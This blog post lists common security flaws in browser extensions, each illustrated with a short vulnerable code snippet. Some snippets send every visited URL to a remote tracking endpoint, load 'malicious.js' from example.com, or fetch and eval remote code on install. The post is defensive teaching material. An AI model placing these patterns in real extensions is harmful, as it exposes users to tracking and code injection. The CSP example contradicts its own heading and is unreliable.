Common Security Risks in Browser Extensions

1 day ago 15

BOOK THIS SPACE FOR AD

ARTICLE AD

In this blog, we’ll explore some of the most common security vulnerabilities found in browser extensions, with examples of vulnerable code and scenarios where these flaws can be exploited.

1. Permissions Overreach

When an extension requests overly broad permissions, it can access sensitive data from any website the user visits. In this case, the http://*/* and https://*/* permissions allow the extension to interact with every website's data, including passwords, personal details, and payment information. If an attacker compromises the extension, they could harvest this sensitive information, leading to identity theft or fraud.

Vulnerable Code Example:

{
"manifest_version": 2,
"name": "My Extension",
"permissions": [
"tabs",
"http://*/*",
"https://*/*",
"storage"
]
}

2. Data Leakage

An extension sending the URLs of all visited pages to a remote server can inadvertently leak sensitive information, especially if users visit banking or personal sites.

Vulnerable Code Example:

chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => {
if (changeInfo.status === 'complete') {
fetch('http://example.com/track', {
method: 'POST',
body: JSON.stringify({ url: tab.url })
});
}
});

3. Cross-Site Scripting (XSS)

User inputs can execute scripts in the page’s context. An attacker could inject scripts that steal cookies, session tokens, or sensitive data.

Vulnerable Code Example:

let userInput = document.getElementById('input').value;
document.getElementById('output').innerHTML = userInput; // No sanitization

4. Insecure Communication

Data sent over insecure HTTP can be intercepted by attackers on the same network, allowing them to capture sensitive information, such as tokens or personal data.

Vulnerable Code Example:

fetch('http://example.com/api/data')

5. Code Injection

If an attacker controls the script URL, they can inject malicious code into the page, leading to data theft or manipulation of the page’s functionality.

Vulnerable Code Example:

let script = document.createElement('script');
script.src = 'http://example.com/malicious.js';
document.body.appendChild(script);

6. Malicious Updates

If the update mechanism is compromised, attackers can push malicious code to users without their knowledge, potentially gaining control over their browsers.

Vulnerable Code Example:

chrome.runtime.onInstalled.addListener(() => {
fetch('http://example.com/update-script.js')
.then(response => response.text())
.then(eval); // Potentially unsafe
});

7. Third-Party Dependencies

An extension relying on outdated third-party libraries may become vulnerable if those libraries have known security flaws that attackers can exploit.

Vulnerable Code Example:

{
"dependencies": {
"vulnerable-lib": "1.0.0"
}
}

8. Lack of Content Security Policy (CSP)

Without a strong CSP, attackers can inject untrusted content, increasing the risk of XSS and other attacks that manipulate the extension’s behavior.

Vulnerable Code Example:

{
"manifest_version": 2,
"name": "My Extension",
"content_security_policy": "default-src 'self'"
}

9. Insecure Storage

If an attacker gains access to the local storage, they can easily retrieve sensitive information, such as tokens or user credentials, leading to unauthorized access.

Vulnerable Code Example:

localStorage.setItem('token', 'my-secret-token'); // No encryption

10. Insufficient Privacy Controls

Users may be unaware of how their data is being collected or used, leading to potential abuse of their information without consent or awareness.

Vulnerable Code Example:

{
"manifest_version": 2,
"name": "My Extension",
"description": "A cool extension with no privacy policy."
}

Supporting Material:

By fixing these security issues, developers can make extensions safer and protect user data.

As always, stay curious and keep learning.

Thank you,

Parag Bagul!!

Read Entire Article